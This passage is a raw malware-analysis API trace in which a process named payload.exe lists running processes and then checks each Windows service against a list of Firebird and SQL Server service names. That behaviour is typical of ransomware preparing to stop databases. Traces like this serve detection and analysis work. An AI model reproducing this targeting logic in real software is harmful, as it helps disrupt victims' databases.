[0067.645] lstrlenW (lpString="taskhostw.exe") returned 13 [0067.645] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0067.646] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0067.646] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0067.647] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0067.647] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0067.647] lstrlenW (lpString="explorer.exe") returned 12 [0067.647] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0067.648] lstrlenW (lpString="Memory Compression") returned 18 [0067.648] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0067.649] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0067.649] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0067.649] lstrlenW (lpString="SearchUI.exe") returned 12 [0067.650] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0067.650] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0067.650] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0067.651] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0067.651] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0067.652] lstrlenW (lpString="taskhostw.exe") returned 13 [0067.652] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0067.652] lstrlenW (lpString="UsoClient.exe") returned 13 [0067.652] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0067.653] lstrlenW (lpString="taskhostw.exe") returned 13 [0067.653] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0067.708] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0067.708] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0067.709] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0067.709] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0067.709] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0067.709] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0067.711] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0067.711] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0067.711] lstrlenW (lpString="arcobviously.exe") returned 16 [0067.711] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0067.712] lstrlenW (lpString="preston disciplines.exe") returned 23 [0067.712] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0067.713] lstrlenW (lpString="boss.exe") returned 8 [0067.713] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0067.713] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0067.713] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0067.714] lstrlenW (lpString="placing.exe") returned 11 [0067.714] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0067.715] lstrlenW (lpString="heroes.exe") returned 10 [0067.715] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0067.715] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0067.715] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0067.716] lstrlenW (lpString="requirement moments.exe") returned 23 [0067.716] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0067.717] lstrlenW (lpString="sugar.exe") returned 9 [0067.717] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0067.718] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0067.718] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0067.718] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0067.718] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0067.719] lstrlenW (lpString="genealogy.exe") returned 13 [0067.719] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0067.720] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0067.720] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0067.721] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0067.721] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0067.721] lstrlenW (lpString="expenditure.exe") returned 15 [0067.721] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0067.722] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0067.722] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0067.723] lstrlenW (lpString="upgrading.exe") returned 13 [0067.723] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0067.724] lstrlenW (lpString="conservative.exe") returned 16 [0067.724] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0067.725] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0067.725] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0067.725] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0067.725] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0067.726] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0067.726] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0067.727] lstrlenW (lpString="gods violations duke.exe") returned 24 [0067.727] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0067.728] lstrlenW (lpString="dllhost.exe") returned 11 [0067.728] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.729] lstrlenW (lpString="conhost.exe") returned 11 [0067.729] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.729] lstrlenW (lpString="conhost.exe") returned 11 [0067.729] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0067.730] lstrlenW (lpString="payload.exe") returned 11 [0067.730] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0067.731] lstrlenW (lpString="cmd.exe") returned 7 [0067.731] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.732] lstrlenW (lpString="conhost.exe") returned 11 [0067.732] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0067.733] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0067.733] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.733] lstrlenW (lpString="conhost.exe") returned 11 [0067.733] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.734] lstrlenW (lpString="svchost.exe") returned 11 [0067.734] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0067.735] lstrlenW (lpString="mode.com") returned 8 [0067.735] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0067.736] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0067.736] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.736] lstrlenW (lpString="svchost.exe") returned 11 [0067.736] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0067.737] CloseHandle (hObject=0x328) returned 1 [0067.737] Sleep (dwMilliseconds=0x1f4) [0068.250] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ceca0 [0068.250] EnumServicesStatusExW (in: hSCManager=0x6ceca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0068.251] GetLastError () returned 0xea [0068.251] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1ddc) returned 0x3d01278 [0068.251] EnumServicesStatusExW (in: hSCManager=0x6ceca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d01278, cbBufSize=0x1ddc, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d01278, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0068.251] CloseServiceHandle (hSCObject=0x6ceca0) returned 1 [0068.252] lstrlenW (lpString="Appinfo") returned 7 [0068.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0068.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0068.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0068.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0068.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0068.252] lstrlenW (lpString="AppXSvc") returned 7 [0068.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0068.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0068.252] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0068.252] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0068.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0068.252] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0068.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0068.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0068.252] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0068.252] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0068.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0068.252] lstrlenW (lpString="Audiosrv") returned 8 [0068.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0068.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0068.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0068.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0068.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0068.252] lstrlenW (lpString="BFE") returned 3 [0068.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0068.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0068.252] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0068.252] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0068.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0068.252] lstrlenW (lpString="BITS") returned 4 [0068.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0068.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0068.252] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0068.252] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0068.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0068.253] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0068.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0068.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0068.253] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0068.253] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0068.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0068.253] lstrlenW (lpString="CDPSvc") returned 6 [0068.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0068.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0068.253] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0068.253] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0068.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0068.253] lstrlenW (lpString="ClickToRunSvc") returned 13 [0068.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0068.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0068.253] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0068.253] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0068.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0068.253] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0068.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0068.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0068.253] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0068.253] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0068.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0068.253] lstrlenW (lpString="CryptSvc") returned 8 [0068.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0068.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0068.253] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0068.253] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0068.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0068.253] lstrlenW (lpString="DcomLaunch") returned 10 [0068.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0068.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0068.253] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0068.254] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0068.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0068.254] lstrlenW (lpString="DeviceAssociationService") returned 24 [0068.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0068.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0068.254] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0068.254] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0068.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0068.254] lstrlenW (lpString="Dhcp") returned 4 [0068.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0068.254] lstrcmpiW 